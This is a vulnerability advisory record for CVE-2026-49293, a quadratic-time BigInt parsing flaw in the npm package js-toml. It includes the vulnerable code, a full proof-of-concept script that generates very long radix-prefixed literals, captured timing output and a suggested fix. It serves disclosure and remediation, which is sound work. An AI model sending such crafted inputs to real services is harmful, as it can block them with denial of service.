{"id":"CVE-2026-49293","title":"js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals","summary":"js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals","severity":"high","cvss":7.5,"cwe":["CWE-400","CWE-407","CWE-1333"],"vendor":"js-toml","product":"js-toml","ecosystem":"npm","affected":["js-toml <= 1.1.0"],"patched":["js-toml 1.1.1"],"published":"2026-06-26","updated":"2026-06-26","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-wp3c-266w-4qfq","references":[{"url":"https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49293"},{"url":"https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2"},{"url":"https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1"},{"url":"https://github.com/advisories/GHSA-wp3c-266w-4qfq"}],"tags":["ghsa","npm"],"epss":0.00644,"epssPercentile":0.4945,"ingestedAt":"2026-06-29T13:24:35.098Z","slug":"CVE-2026-49293","body":"## Overview\n\n## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint => {\n  let result = BigInt(0);\n  for (let i = 0; i < string.length; i++) {\n    const char = string[i];\n    const digit = parseInt(char, radix);\n    result = result * BigInt(radix) + BigInt(digit);\n  }\n\n  return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) => {\n  const intString = raw.replace(/_/g, '');\n  const digits = intString.slice(2);\n  const radix = getRadix(raw);\n\n  const int = parseInt(digits, radix);\n\n  if (Number.isSafeInteger(int)) {\n    return int;\n  }\n\n  return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve && cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from 'js-toml';\nimport iarna from '@iarna/toml';\n\nfunction timeIt(label, fn) {\n  const t0 = process.hrtime.bigint();\n  let result, err;\n  try { result = fn(); } catch (e) { err = e; }\n  const t1 = process.hrtime.bigint();\n  const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);\n}\n\nconsole.log('--- Sanity baseline (small inputs) ---');\ntimeIt('decimal int 1', () => { load('x = 1'); return ''; });\ntimeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });\ntimeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });\n\nconsole.log('\\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n    () => {\n      const r = load(tomlText);\n      return `bits=${r.x.toString(2).length}`;\n    });\n}\n\nconsole.log('\\n--- Negative control: same input via @iarna/toml ---');\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n    () => {\n      const r = iarna.parse(tomlText);\n      return `type=${typeof r.x}`;\n    });\n}\n\nconsole.log('\\n--- Octal / binary share the same code path ---');\nfor (const n of [50_000, 100_000]) {\n  const octDigits = '7'.repeat(n);\n  const binDigits = '1'.repeat(n);\n  timeIt(`oct 0o${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n  timeIt(`bin 0b${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted `O(n²)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`'s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt('0' + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n   ```ts\n   registerTokenInterpreter(NonDecimalInteger, (raw: string) => {\n     const intString = raw.replace(/_/g, '');\n     const digits = intString.slice(2);\n     const radix = getRadix(raw);\n\n     // Optional but recommended: cap the literal length to avoid degenerate inputs\n     const MAX_RADIX_LITERAL_LENGTH = 1000;\n     if (digits.length > MAX_RADIX_LITERAL_LENGTH) {\n       throw new SyntaxParseError(\n         `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n       );\n     }\n\n     const int = parseInt(digits, radix);\n     if (Number.isSafeInteger(int)) {\n       return int;\n     }\n\n     // BigInt accepts '0x'/'0o'/'0b' prefix natively\n     return BigInt(intString);\n   });\n   ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.\n\n## Affected packages\n\n- `js-toml <= 1.1.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `js-toml 1.1.1`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}